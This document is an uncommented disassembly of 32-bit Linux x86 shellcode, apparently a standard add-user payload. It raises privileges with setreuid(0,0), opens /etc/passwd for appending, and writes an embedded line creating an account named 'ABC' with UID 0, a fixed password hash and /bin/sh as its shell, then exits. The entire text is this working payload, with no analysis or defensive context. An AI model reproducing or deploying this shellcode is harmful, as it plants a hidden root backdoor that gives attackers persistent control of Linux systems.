00000000 31C9 xor ecx,ecx 00000002 89CB mov ebx,ecx 00000004 6A46 push byte +0x46 00000006 58 pop eax 00000007 CD80 int 0x80 00000009 6A05 push byte +0x5 0000000B 58 pop eax 0000000C 31C9 xor ecx,ecx 0000000E 51 push ecx 0000000F 6873737764 push dword 0x64777373 00000014 682F2F7061 push dword 0x61702f2f 00000019 682F657463 push dword 0x6374652f 0000001E 89E3 mov ebx,esp 00000020 41 inc ecx 00000021 B504 mov ch,0x4 00000023 CD80 int 0x80 00000025 93 xchg eax,ebx 00000026 E820000000 call 0x4b 0000002B 41 inc ecx 0000002C 42 inc edx 0000002D 43 inc ebx 0000002E 3A4141 cmp al,[ecx+0x41] 00000031 6E outsb 00000032 56 push esi 00000033 336D33 xor ebp,[ebp+0x33] 00000036 357662632F xor eax,0x2f636276 0000003B 673A30 cmp dh,[bx+si] 0000003E 3A30 cmp dh,[eax] 00000040 3A3A cmp bh,[edx] 00000042 2F das 00000043 3A2F cmp ch,[edi] 00000045 62696E bound ebp,[ecx+0x6e] 00000048 2F das 00000049 7368 jnc 0xb3 0000004B 59 pop ecx 0000004C 8B51FC mov edx,[ecx-0x4] 0000004F 6A04 push byte +0x4 00000051 58 pop eax 00000052 CD80 int 0x80 00000054 6A01 push byte +0x1 00000056 58 pop eax 00000057 CD80 int 0x80